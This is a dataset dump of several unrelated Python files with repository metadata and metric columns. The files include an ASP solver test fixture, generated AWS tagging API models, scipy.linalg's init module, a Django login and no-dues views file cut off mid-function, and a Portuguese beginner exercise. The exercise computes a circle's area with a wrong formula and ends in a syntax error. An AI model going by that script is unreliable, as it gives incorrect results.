| 0
| 0
| 0
| 0
| 0.060606
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0
| 0
| 0
| 0.25
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
b68b3d3e4ab405ae0cd97dbc8f74a2e32c9e9cb7
| 190
|
py
|
Python
|
tests/asp/cautious/test14.bug.multiaggregates.gringo.cautious.asp.test.py
|
bernardocuteri/wasp
|
05c8f961776dbdbf7afbf905ee00fc262eba51ad
|
[
"Apache-2.0"
] | 19
|
2015-12-03T08:53:45.000Z
|
2022-03-31T02:09:43.000Z
|
tests/asp/cautious/test14.bug.multiaggregates.gringo.cautious.asp.test.py
|
bernardocuteri/wasp
|
05c8f961776dbdbf7afbf905ee00fc262eba51ad
|
[
"Apache-2.0"
] | 80
|
2017-11-25T07:57:32.000Z
|
2018-06-10T19:03:30.000Z
|
tests/asp/cautious/test14.bug.multiaggregates.gringo.cautious.asp.test.py
|
bernardocuteri/wasp
|
05c8f961776dbdbf7afbf905ee00fc262eba51ad
|
[
"Apache-2.0"
] | 6
|
2015-01-15T07:51:48.000Z
|
2020-06-18T14:47:48.000Z
|
input = """
8 2 2 3 0 0
8 2 4 5 0 0
2 6 4 0 3 5 4 3 2
2 7 4 0 2 5 4 3 2
1 8 2 1 6 7
0
8 ok
2 a(1)
3 a(2)
4 a(3)
5 a(4)
6 aggrGT3
7 aggrGT2
0
B+
0
B-
1
0
1
"""
output = """
{aggrGT2, ok}
"""
| 7.307692
| 17
| 0.5
| 66
| 190
| 1.439394
| 0.242424
| 0.063158
| 0.063158
| 0.084211
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.459016
| 0.357895
| 190
| 25
| 18
| 7.6
| 0.319672
| 0
| 0
| 0.08
| 0
| 0
| 0.836842
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
b68f7c71781c96cc99929960e3960e6891d8a739
| 9,901
|
py
|
Python
|
pacu/models/awsapi/resourcegroupstaggingapi.py
|
RyanJarv/Pacu2
|
27df4bcf296fc8f467d3dc671a47bf9519ce7a24
|
[
"MIT"
] | 1
|
2022-03-09T14:51:54.000Z
|
2022-03-09T14:51:54.000Z
|
pacu/models/awsapi/resourcegroupstaggingapi.py
|
RyanJarv/Pacu2
|
27df4bcf296fc8f467d3dc671a47bf9519ce7a24
|
[
"MIT"
] | null | null | null |
pacu/models/awsapi/resourcegroupstaggingapi.py
|
RyanJarv/Pacu2
|
27df4bcf296fc8f467d3dc671a47bf9519ce7a24
|
[
"MIT"
] | null | null | null |
# generated by datamodel-codegen:
# filename: openapi.yaml
# timestamp: 2021-12-31T02:54:49+00:00
from __future__ import annotations
from enum import Enum
from typing import Annotated, Any, List, Optional
from pydantic import BaseModel, Extra, Field
class DescribeReportCreationInput(BaseModel):
pass
class ConstraintViolationException(BaseModel):
__root__: Any
class InternalServiceException(ConstraintViolationException):
pass
class InvalidParameterException(ConstraintViolationException):
pass
class ThrottledException(ConstraintViolationException):
pass
class PaginationTokenExpiredException(ConstraintViolationException):
pass
class StartReportCreationOutput(BaseModel):
pass
class ConcurrentModificationException(ConstraintViolationException):
pass
class AmazonResourceType(BaseModel):
__root__: Annotated[str, Field(max_length=256, min_length=0, regex='[\\s\\S]*')]
class ComplianceStatus(BaseModel):
__root__: bool
class Status(BaseModel):
__root__: str
class S3Location(Status):
pass
class ErrorMessage(Status):
pass
class ErrorCode(Enum):
InternalServiceException = 'InternalServiceException'
InvalidParameterException = 'InvalidParameterException'
class ExcludeCompliantResources(ComplianceStatus):
pass
class FailedResourcesMap(BaseModel):
pass
class Config:
extra = Extra.allow
class StatusCode(BaseModel):
__root__: int
class ResourceTypeFilterList(BaseModel):
__root__: List[AmazonResourceType]
class MaxResultsGetComplianceSummary(BaseModel):
__root__: Annotated[int, Field(ge=1.0, le=1000.0)]
class PaginationToken(BaseModel):
__root__: Annotated[str, Field(max_length=2048, min_length=0, regex='[\\s\\S]*')]
class ResourcesPerPage(StatusCode):
pass
class TagsPerPage(StatusCode):
pass
class IncludeComplianceDetails(ComplianceStatus):
pass
class TagKey(BaseModel):
__root__: Annotated[str, Field(max_length=128, min_length=1, regex='[\\s\\S]*')]
class GroupByAttribute(Enum):
TARGET_ID = 'TARGET_ID'
REGION = 'REGION'
RESOURCE_TYPE = 'RESOURCE_TYPE'
class LastUpdated(Status):
pass
class NonCompliantResources(StatusCode):
pass
class Region(BaseModel):
__root__: Annotated[str, Field(max_length=256, min_length=1, regex='[\\s\\S]*')]
class ResourceARN(BaseModel):
__root__: Annotated[str, Field(max_length=1011, min_length=1, regex='[\\s\\S]*')]
class ResourceARNListForTagUntag(BaseModel):
__root__: Annotated[List[ResourceARN], Field(max_items=20, min_items=1)]
class S3Bucket(BaseModel):
__root__: Annotated[str, Field(max_length=63, min_length=3, regex='[a-z0-9.-]*')]
class TargetId(BaseModel):
__root__: Annotated[str, Field(max_length=68, min_length=6, regex='[a-zA-Z0-9-]*')]
class TargetIdType(Enum):
ACCOUNT = 'ACCOUNT'
OU = 'OU'
ROOT = 'ROOT'
class Summary(BaseModel):
"""
A count of noncompliant resources.
"""
LastUpdated: Optional[LastUpdated] = None
TargetId: Optional[TargetId] = None
TargetIdType: Optional[TargetIdType] = None
Region: Optional[Region] = None
ResourceType: Optional[AmazonResourceType] = None
NonCompliantResources: Optional[NonCompliantResources] = None
class TagValue(AmazonResourceType):
pass
class Tag(BaseModel):
"""
The metadata that you apply to AWS resources to help you categorize and organize them. Each tag consists of a key and a value, both of which you define. For more information, see <a href="http://docs.aws.amazon.com/general/latest/gr/aws_tagging.html">Tagging AWS Resources</a> in the <i>AWS General Reference</i>.
"""
Key: TagKey
Value: TagValue
class TagValueList(BaseModel):
__root__: Annotated[List[TagValue], Field(max_items=20, min_items=0)]
class TagFilter(BaseModel):
"""
A list of tags (keys and values) that are used to specify the associated resources.
"""
Key: Optional[TagKey] = None
Values: Optional[TagValueList] = None
class TagKeyListForUntag(BaseModel):
__root__: Annotated[List[TagKey], Field(max_items=50, min_items=1)]
class TagMap(BaseModel):
pass
class Config:
extra = Extra.allow
class DescribeReportCreationOutput(BaseModel):
Status: Optional[Status] = None
S3Location: Optional[S3Location] = None
ErrorMessage: Optional[ErrorMessage] = None
class GetTagKeysInput(BaseModel):
PaginationToken: Optional[PaginationToken] = None
class GetTagValuesInput(BaseModel):
PaginationToken: Optional[PaginationToken] = None
Key: TagKey
class StartReportCreationInput(BaseModel):
S3Bucket: S3Bucket
class TagResourcesOutput(BaseModel):
FailedResourcesMap: Optional[FailedResourcesMap] = None
class TagResourcesInput(BaseModel):
ResourceARNList: ResourceARNListForTagUntag
Tags: TagMap
class UntagResourcesOutput(TagResourcesOutput):
pass
class UntagResourcesInput(BaseModel):
ResourceARNList: ResourceARNListForTagUntag
TagKeys: TagKeyListForUntag
class TagKeyList(BaseModel):
__root__: List[TagKey]
class ComplianceDetails(BaseModel):
"""
Information that shows whether a resource is compliant with the effective tag policy, including details on any noncompliant tag keys.
"""
NoncompliantKeys: Optional[TagKeyList] = None
KeysWithNoncompliantValues: Optional[TagKeyList] = None
ComplianceStatus: Optional[ComplianceStatus] = None
class FailureInfo(BaseModel):
"""
<p>Information about the errors that are returned for each failed resource. This information can include <code>InternalServiceException</code> and <code>InvalidParameterException</code> errors. It can also include any valid error code returned by the AWS service that hosts the resource that the ARN key represents.</p> <p>The following are common error codes that you might receive from other AWS services:</p> <ul> <li> <p> <b>InternalServiceException</b> – This can mean that the Resource Groups Tagging API didn't receive a response from another AWS service. It can also mean the the resource type in the request is not supported by the Resource Groups Tagging API. In these cases, it's safe to retry the request and then call <a href="http://docs.aws.amazon.com/resourcegroupstagging/latest/APIReference/API_GetResources.html">GetResources</a> to verify the changes.</p> </li> <li> <p> <b>AccessDeniedException</b> – This can mean that you need permission to calling tagging operations in the AWS service that contains the resource. For example, to use the Resource Groups Tagging API to tag a CloudWatch alarm resource, you need permission to call <a href="http://docs.aws.amazon.com/resourcegroupstagging/latest/APIReference/API_TagResources.html"> <code>TagResources</code> </a> <i>and</i> <a href="http://docs.aws.amazon.com/AmazonCloudWatch/latest/APIReference/API_TagResource.html"> <code>TagResource</code> </a> in the CloudWatch API. </p> </li> </ul> <p>For more information on errors that are generated from other AWS services, see the documentation for that service. </p>
"""
StatusCode: Optional[StatusCode] = None
ErrorCode: Optional[ErrorCode] = None
ErrorMessage: Optional[ErrorMessage] = None
class TargetIdFilterList(BaseModel):
__root__: Annotated[List[TargetId], Field(max_items=100, min_items=1)]
class RegionFilterList(BaseModel):
__root__: Annotated[List[Region], Field(max_items=100, min_items=1)]
class TagKeyFilterList(TagKeyListForUntag):
pass
class GroupBy(BaseModel):
__root__: List[GroupByAttribute]
class SummaryList(BaseModel):
__root__: List[Summary]
class TagFilterList(BaseModel):
__root__: Annotated[List[TagFilter], Field(max_items=50, min_items=0)]
class ResourceARNListForGet(BaseModel):
__root__: Annotated[List[ResourceARN], Field(max_items=100, min_items=1)]
class TagValuesOutputList(BaseModel):
__root__: List[TagValue]
class TagList(BaseModel):
__root__: List[Tag]
class ResourceTagMapping(BaseModel):
"""
A list of resource ARNs and the tags (keys and values) that are associated with each.
"""
ResourceARN: Optional[ResourceARN] = None
Tags: Optional[TagList] = None
ComplianceDetails: Optional[ComplianceDetails] = None
class GetComplianceSummaryOutput(BaseModel):
SummaryList: Optional[SummaryList] = None
PaginationToken: Optional[PaginationToken] = None
class GetComplianceSummaryInput(BaseModel):
TargetIdFilters: Optional[TargetIdFilterList] = None
RegionFilters: Optional[RegionFilterList] = None
ResourceTypeFilters: Optional[ResourceTypeFilterList] = None
TagKeyFilters: Optional[TagKeyFilterList] = None
GroupBy: Optional[GroupBy] = None
MaxResults: Optional[MaxResultsGetComplianceSummary] = None
PaginationToken: Optional[PaginationToken] = None
class GetResourcesInput(BaseModel):
PaginationToken: Optional[PaginationToken] = None
TagFilters: Optional[TagFilterList] = None
ResourcesPerPage: Optional[ResourcesPerPage] = None
TagsPerPage: Optional[TagsPerPage] = None
ResourceTypeFilters: Optional[ResourceTypeFilterList] = None
IncludeComplianceDetails: Optional[IncludeComplianceDetails] = None
ExcludeCompliantResources: Optional[ExcludeCompliantResources] = None
ResourceARNList: Optional[ResourceARNListForGet] = None
class GetTagKeysOutput(BaseModel):
PaginationToken: Optional[PaginationToken] = None
TagKeys: Optional[TagKeyList] = None
class GetTagValuesOutput(BaseModel):
PaginationToken: Optional[PaginationToken] = None
TagValues: Optional[TagValuesOutputList] = None
class ResourceTagMappingList(BaseModel):
__root__: List[ResourceTagMapping]
class GetResourcesOutput(BaseModel):
PaginationToken: Optional[PaginationToken] = None
ResourceTagMappingList: Optional[ResourceTagMappingList] = None
| 28.048159
| 1,590
| 0.755984
| 1,064
| 9,901
| 6.901316
| 0.253759
| 0.04603
| 0.044941
| 0.045758
| 0.232194
| 0.163285
| 0.115212
| 0.069318
| 0.033229
| 0.033229
| 0
| 0.010349
| 0.150894
| 9,901
| 352
| 1,591
| 28.127841
| 0.862852
| 0.236037
| 0
| 0.217391
| 1
| 0
| 0.021282
| 0.006559
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0.108696
| 0.021739
| 0
| 0.880435
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
|
0
| 4
|
fcca09cb6dcdfba0240266658ba60ae5543049ec
| 6,562
|
py
|
Python
|
bin/Python27/Lib/site-packages/scipy/linalg/__init__.py
|
lefevre-fraser/openmeta-mms
|
08f3115e76498df1f8d70641d71f5c52cab4ce5f
|
[
"MIT"
] | null | null | null |
bin/Python27/Lib/site-packages/scipy/linalg/__init__.py
|
lefevre-fraser/openmeta-mms
|
08f3115e76498df1f8d70641d71f5c52cab4ce5f
|
[
"MIT"
] | null | null | null |
bin/Python27/Lib/site-packages/scipy/linalg/__init__.py
|
lefevre-fraser/openmeta-mms
|
08f3115e76498df1f8d70641d71f5c52cab4ce5f
|
[
"MIT"
] | 1
|
2020-05-07T11:04:14.000Z
|
2020-05-07T11:04:14.000Z
|
"""
====================================
Linear algebra (:mod:`scipy.linalg`)
====================================
.. currentmodule:: scipy.linalg
Linear algebra functions.
.. seealso::
`numpy.linalg` for more linear algebra functions. Note that
although `scipy.linalg` imports most of them, identically named
functions from `scipy.linalg` may offer more or slightly differing
functionality.
Basics
======
.. autosummary::
:toctree: generated/
inv - Find the inverse of a square matrix
solve - Solve a linear system of equations
solve_banded - Solve a banded linear system
solveh_banded - Solve a Hermitian or symmetric banded system
solve_circulant - Solve a circulant system
solve_triangular - Solve a triangular matrix
solve_toeplitz - Solve a toeplitz matrix
det - Find the determinant of a square matrix
norm - Matrix and vector norm
lstsq - Solve a linear least-squares problem
pinv - Pseudo-inverse (Moore-Penrose) using lstsq
pinv2 - Pseudo-inverse using svd
pinvh - Pseudo-inverse of hermitian matrix
kron - Kronecker product of two arrays
tril - Construct a lower-triangular matrix from a given matrix
triu - Construct an upper-triangular matrix from a given matrix
orthogonal_procrustes - Solve an orthogonal Procrustes problem
LinAlgError
Eigenvalue Problems
===================
.. autosummary::
:toctree: generated/
eig - Find the eigenvalues and eigenvectors of a square matrix
eigvals - Find just the eigenvalues of a square matrix
eigh - Find the e-vals and e-vectors of a Hermitian or symmetric matrix
eigvalsh - Find just the eigenvalues of a Hermitian or symmetric matrix
eig_banded - Find the eigenvalues and eigenvectors of a banded matrix
eigvals_banded - Find just the eigenvalues of a banded matrix
Decompositions
==============
.. autosummary::
:toctree: generated/
lu - LU decomposition of a matrix
lu_factor - LU decomposition returning unordered matrix and pivots
lu_solve - Solve Ax=b using back substitution with output of lu_factor
svd - Singular value decomposition of a matrix
svdvals - Singular values of a matrix
diagsvd - Construct matrix of singular values from output of svd
orth - Construct orthonormal basis for the range of A using svd
cholesky - Cholesky decomposition of a matrix
cholesky_banded - Cholesky decomp. of a sym. or Hermitian banded matrix
cho_factor - Cholesky decomposition for use in solving a linear system
cho_solve - Solve previously factored linear system
cho_solve_banded - Solve previously factored banded linear system
polar - Compute the polar decomposition.
qr - QR decomposition of a matrix
qr_multiply - QR decomposition and multiplication by Q
qr_update - Rank k QR update
qr_delete - QR downdate on row or column deletion
qr_insert - QR update on row or column insertion
rq - RQ decomposition of a matrix
qz - QZ decomposition of a pair of matrices
ordqz - QZ decomposition of a pair of matrices with reordering
schur - Schur decomposition of a matrix
rsf2csf - Real to complex Schur form
hessenberg - Hessenberg form of a matrix
.. seealso::
`scipy.linalg.interpolative` -- Interpolative matrix decompositions
Matrix Functions
================
.. autosummary::
:toctree: generated/
expm - Matrix exponential
logm - Matrix logarithm
cosm - Matrix cosine
sinm - Matrix sine
tanm - Matrix tangent
coshm - Matrix hyperbolic cosine
sinhm - Matrix hyperbolic sine
tanhm - Matrix hyperbolic tangent
signm - Matrix sign
sqrtm - Matrix square root
funm - Evaluating an arbitrary matrix function
expm_frechet - Frechet derivative of the matrix exponential
expm_cond - Relative condition number of expm in the Frobenius norm
fractional_matrix_power - Fractional matrix power
Matrix Equation Solvers
=======================
.. autosummary::
:toctree: generated/
solve_sylvester - Solve the Sylvester matrix equation
solve_continuous_are - Solve the continuous-time algebraic Riccati equation
solve_discrete_are - Solve the discrete-time algebraic Riccati equation
solve_discrete_lyapunov - Solve the discrete-time Lyapunov equation
solve_lyapunov - Solve the (continous-time) Lyapunov equation
Special Matrices
================
.. autosummary::
:toctree: generated/
block_diag - Construct a block diagonal matrix from submatrices
circulant - Circulant matrix
companion - Companion matrix
dft - Discrete Fourier transform matrix
hadamard - Hadamard matrix of order 2**n
hankel - Hankel matrix
helmert - Helmert matrix
hilbert - Hilbert matrix
invhilbert - Inverse Hilbert matrix
leslie - Leslie matrix
pascal - Pascal matrix
invpascal - Inverse Pascal matrix
toeplitz - Toeplitz matrix
tri - Construct a matrix filled with ones at and below a given diagonal
Low-level routines
==================
.. autosummary::
:toctree: generated/
get_blas_funcs
get_lapack_funcs
find_best_blas_type
.. seealso::
`scipy.linalg.blas` -- Low-level BLAS functions
`scipy.linalg.lapack` -- Low-level LAPACK functions
`scipy.linalg.cython_blas` -- Low-level BLAS functions for Cython
`scipy.linalg.cython_lapack` -- Low-level LAPACK functions for Cython
"""
from __future__ import division, print_function, absolute_import
from .linalg_version import linalg_version as __version__
from .misc import *
from .basic import *
from .decomp import *
from .decomp_lu import *
from .decomp_cholesky import *
from .decomp_qr import *
from ._decomp_qz import *
from .decomp_svd import *
from .decomp_schur import *
from ._decomp_polar import *
from .matfuncs import *
from .blas import *
from .lapack import *
from .special_matrices import *
from ._solvers import *
from ._procrustes import *
from ._decomp_update import *
__all__ = [s for s in dir() if not s.startswith('_')]
from numpy.dual import register_func
for k in ['norm', 'inv', 'svd', 'solve', 'det', 'eig', 'eigh', 'eigvals',
'eigvalsh', 'lstsq', 'cholesky']:
try:
register_func(k, eval(k))
except ValueError:
pass
try:
register_func('pinv', pinv2)
except ValueError:
pass
del k, register_func
from numpy.testing import Tester
test = Tester().test
bench = Tester().bench
| 30.95283
| 79
| 0.701006
| 818
| 6,562
| 5.52934
| 0.319071
| 0.013266
| 0.031837
| 0.029184
| 0.114968
| 0.09109
| 0.030069
| 0
| 0
| 0
| 0
| 0.000781
| 0.219598
| 6,562
| 211
| 80
| 31.099526
| 0.882445
| 0.811643
| 0
| 0.171429
| 0
| 0
| 0.057087
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0.057143
| 0.6
| 0
| 0.6
| 0.028571
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 1
| 0
|
0
| 4
|
fcd135c962cacf5ab29cecbde782c9cdf0c48c22
| 909
|
py
|
Python
|
Python/SCRIPT PYTHON/Media_Notas.py
|
guimaraesalves/material-python
|
d56b6b24ae35a67d394b43cb1ef4420805c7bd9b
|
[
"MIT"
] | null | null | null |
Python/SCRIPT PYTHON/Media_Notas.py
|
guimaraesalves/material-python
|
d56b6b24ae35a67d394b43cb1ef4420805c7bd9b
|
[
"MIT"
] | null | null | null |
Python/SCRIPT PYTHON/Media_Notas.py
|
guimaraesalves/material-python
|
d56b6b24ae35a67d394b43cb1ef4420805c7bd9b
|
[
"MIT"
] | null | null | null |
print ('==================================')
print (' EXERCÍCIO MÉDIA DAS NOTAS ')
print ('==================================')
n1 = int (input('INFORME A PRIMEIRA NOTA: '))
n2 = int (input('INFORME A SEGUNDA NOTA: '))
n3 = int (input('INFORME A TERCEIRA NOTA: '))
n4 = int (input('INFORME A QUARTA NOTA: '))
print ('A MÉDIA DAS NOTAS É: ', ((n1 + n2 + n3 + n4) / 4))
print ('------------------------------------')
print (' METROS PARA CENTÍMETROS ')
print ('------------------------------------')
metros = int (input('Informe o valor em metros: '))
print ('O valor em centimetros é: ', metros * 100)
print ('-------------------------------------')
print (' ÁREA DA CIRCUNFERÊNCIA ')
print ('-------------------------------------')
raio = int (input ('Informe o raio da circunferência: '))
print ('A área da circunferência de raio', raio, 'é:', 2 * 3.1416 * raio**2)10
| 36.36
| 78
| 0.454345
| 97
| 909
| 4.257732
| 0.381443
| 0.116223
| 0.217918
| 0.154964
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.028112
| 0.178218
| 909
| 25
| 78
| 36.36
| 0.524766
| 0
| 0
| 0.333333
| 0
| 0
| 0.618681
| 0.235165
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0
| null | null | 0.666667
| 0
| 0
| 0
| null | 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 4
|
fcd99966132fcb6f4c7148628e979e7c46b8f0f2
| 23
|
py
|
Python
|
venv/Lib/site-packages/tqdm/_dist_ver.py
|
mintzer/pupillometry-rf-back
|
cfa86fa984a49dce0123798f8de5b838c02e10d5
|
[
"CC-BY-4.0"
] | null | null | null |
venv/Lib/site-packages/tqdm/_dist_ver.py
|
mintzer/pupillometry-rf-back
|
cfa86fa984a49dce0123798f8de5b838c02e10d5
|
[
"CC-BY-4.0"
] | null | null | null |
venv/Lib/site-packages/tqdm/_dist_ver.py
|
mintzer/pupillometry-rf-back
|
cfa86fa984a49dce0123798f8de5b838c02e10d5
|
[
"CC-BY-4.0"
] | null | null | null |
__version__ = '4.63.1'
| 11.5
| 22
| 0.652174
| 4
| 23
| 2.75
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.2
| 0.130435
| 23
| 1
| 23
| 23
| 0.35
| 0
| 0
| 0
| 0
| 0
| 0.26087
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
1e06f394ef605142da1a81edc1b850a290853c8f
| 97
|
py
|
Python
|
AutoApiTest/apps.py
|
github-xiaoh/httpRunnerManager
|
6d809894e7adaac73c0f600b684e40ffbf7c61b5
|
[
"MIT"
] | 1
|
2018-12-27T04:45:13.000Z
|
2018-12-27T04:45:13.000Z
|
AutoApiTest/apps.py
|
github-xiaoh/practice
|
6d809894e7adaac73c0f600b684e40ffbf7c61b5
|
[
"MIT"
] | 3
|
2021-03-25T23:59:13.000Z
|
2022-03-29T22:02:58.000Z
|
AutoApiTest/apps.py
|
github-xiaoh/practice
|
6d809894e7adaac73c0f600b684e40ffbf7c61b5
|
[
"MIT"
] | null | null | null |
from django.apps import AppConfig
class AutoapitestConfig(AppConfig):
name = 'AutoApiTest'
| 16.166667
| 35
| 0.773196
| 10
| 97
| 7.5
| 0.9
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.154639
| 97
| 5
| 36
| 19.4
| 0.914634
| 0
| 0
| 0
| 0
| 0
| 0.113402
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.333333
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
1e206013552105a02775ec5a3e1eb3b78b896f11
| 22,958
|
py
|
Python
|
main/views.py
|
ArighnaIITG/NoDues-Portal
|
4a24f5f34c74060dbe4eb5a7100c898f7707aab0
|
[
"MIT"
] | null | null | null |
main/views.py
|
ArighnaIITG/NoDues-Portal
|
4a24f5f34c74060dbe4eb5a7100c898f7707aab0
|
[
"MIT"
] | null | null | null |
main/views.py
|
ArighnaIITG/NoDues-Portal
|
4a24f5f34c74060dbe4eb5a7100c898f7707aab0
|
[
"MIT"
] | null | null | null |
from django.http import HttpResponse
from django.template import loader
from .models import *
from django.contrib.auth import authenticate, login
from django.contrib.auth import logout
from django.http import JsonResponse
from django.shortcuts import render, get_object_or_404, redirect, HttpResponseRedirect
from django.db.models import Q
from .forms import UserForm
def login_user(request):
if request.method == "POST":
username = request.POST['username']
password = request.POST['password']
role = request.POST['role']
# print str(role)
user = authenticate(username=username, password=password)
if user is not None:
if user.is_active:
login(request, user)
role = str(role)
username=request.user.username
username = str(username)
if role == "Student":
students = Student.objects.all()
flag=0
for stud in students:
if stud.webmail == username:
flag=1
if flag==1:
return redirect('/student_profile')
else:
return render(request, 'main/login.html', {'error_message': 'Invalid Role'})
elif role == "Faculty":
faculty = Faculty.objects.all()
flag=0
for fac in faculty:
if fac.webmail == username:
flag=1
if flag==1:
return redirect('/faculty_profile')
else:
return render(request, 'main/login.html', {'error_message': 'Invalid Role'})
elif role == "Lab":
labs = Lab.objects.all()
flag=0
for lab in labs:
if lab.webmail == username:
flag=1
if flag==1:
return redirect('/lab_profile')
else:
return render(request, 'main/login.html', {'error_message': 'Invalid Role'})
elif role == "Caretaker":
caretaker = Caretaker.objects.all()
flag=0
for care in caretaker:
if care.webmail == username:
flag=1
if flag==1:
return redirect('/caretaker_profile')
else:
return render(request, 'main/login.html', {'error_message': 'Invalid Role'})
elif role == "Warden":
warden = Warden.objects.all()
flag=0
for ward in warden:
if ward.webmail == username:
flag=1
if flag==1:
return redirect('/warden_profile')
else:
return render(request, 'main/login.html', {'error_message': 'Invalid Role'})
elif role == "Gymkhana":
gymkhana = Gymkhana.objects.all()
flag=0
for gym in gymkhana:
if gym.webmail == username:
flag=1
if flag==1:
return redirect('/gymkhana_profile')
else:
return render(request, 'main/login.html', {'error_message': 'Invalid Role'})
elif role == "OnlineCC":
onlinecc = OnlineCC.objects.all()
flag=0
for onl in onlinecc:
if onl.webmail == username:
flag=1
if flag==1:
return redirect('/onlinecc_profile')
else:
return render(request, 'main/login.html', {'error_message': 'Invalid Role'})
elif role == "CC":
cc = CC.objects.all()
flag=0
for c in cc:
if c.webmail == username:
flag=1
if flag==1:
return redirect('cc_profile')
else:
return render(request, 'main/login.html', {'error_message': 'Invalid Role'})
elif role == "Thesis Manager":
thesis = SubmitThesis.objects.all()
flag=0
for thes in thesis:
if thes.webmail == username:
flag=1
if flag==1:
return redirect('/thesis_manager_profile')
else:
return render(request, 'main/login.html', {'error_message': 'Invalid Role'})
elif role == "Library":
library = Library.objects.all()
flag=0
for lib in library:
if lib.webmail == username:
flag=1
if flag==1:
return redirect('/library_profile')
else:
return render(request, 'main/login.html', {'error_message': 'Invalid Role'})
elif role == "Assistant Registrar":
asst = asstreg.objects.all()
flag=0
for a in asst:
if a.webmail == username:
flag=1
if flag==1:
return redirect('/assistant_registrar_profile')
else:
return render(request, 'main/login.html', {'error_message': 'Invalid Role'})
elif role == "HOD":
hod = HOD.objects.all()
flag=0
for h in hod:
if h.webmail == username:
flag=1
if flag==1:
return redirect('/hod_profile')
else:
return render(request, 'main/login.html', {'error_message': 'Invalid Role'})
elif role == "Account":
account = Account.objects.all()
flag=0
for acc in account:
if acc.webmail == username:
flag=1
if flag==1:
return redirect('/account_profile')
else:
return render(request, 'main/login.html', {'error_message': 'Invalid Role'})
else:
return render(request, 'main/login.html', {'error_message': 'Invalid Credentials'})
else:
return render(request, 'main/login.html', {'error_message': 'Invalid Credentials'})
else:
return render(request, 'main/login.html', {'error_message': 'Invalid Credentials'})
return render(request, 'main/login.html',{'error_message': 'Valid Login'})
def logout_user(request):
logout(request)
form = UserForm(request.POST or None)
context = {
"form": form,
}
return render(request, 'main/login.html', context)
def student_profile(request):
username=request.user.username
username=str(username)
student = Student.objects.get(webmail=username)
return render(request, 'main/student.html',{'error_message': 'valid login', 'student': student})
def student_dept_detail(request):
username=request.user.username
username=str(username)
student = Student.objects.get(webmail=username)
faculty_dept = Faculty.objects.filter(dept=student.dept)
stud_fac_status = StudFacStatus.objects.filter(student=student)
return render(request,'main/student_dept_detail.html',{'error_message': 'valid login','student': student, 'faculty':faculty_dept, 'StudFacStatus': stud_fac_status})
def student_lab_detail(request):
username = request.user.username
username = str(username)
student = Student.objects.get(webmail=username)
labs = Lab.objects.all()
stud_lab_status = StudLabStatus.objects.filter(student=student)
return render(request, 'main/student_lab_detail.html', {'error_message': 'valid login', 'student': student, 'labs' : labs, 'StudLabStatus':stud_lab_status})
def account_profile(request):
if request.method == "GET":
username = request.user.username
account = Account.objects.get(webmail=username)
students = Student.objects.filter(hod_approval=True)
return render(request, 'main/account.html',
{'error_message': 'valid login', 'students': students,
'account': account})
elif request.method == "POST":
username = request.user.username
account = Account.objects.get(webmail=username)
students = Student.objects.filter(hod_approval=True)
for stud in students:
if request.POST.get(stud.webmail, "") == 'on':
stud.account_approval = True
stud.save()
else:
stud.account_approval = False
stud.save()
return redirect('/account_profile',{'error_message': 'valid login', 'students': students,'account': account})
def assistant_registrar_profile(request):
if request.method == "GET":
username = request.user.username
assistant_registrar= asstreg.objects.get(webmail=username)
students = Student.objects.filter(caretaker_approval=True,warden_approval=True,gymkhana_approval=True)
return render(request, 'main/assistant_registrar.html',
{'error_message': 'valid login', 'students': students, 'assistant_registrar': assistant_registrar})
elif request.method == "POST":
username = request.user.username
assistant_registrar= asstreg.objects.get(webmail=username)
students = Student.objects.filter(caretaker_approval=True, warden_approval=True, gymkhana_approval=True)
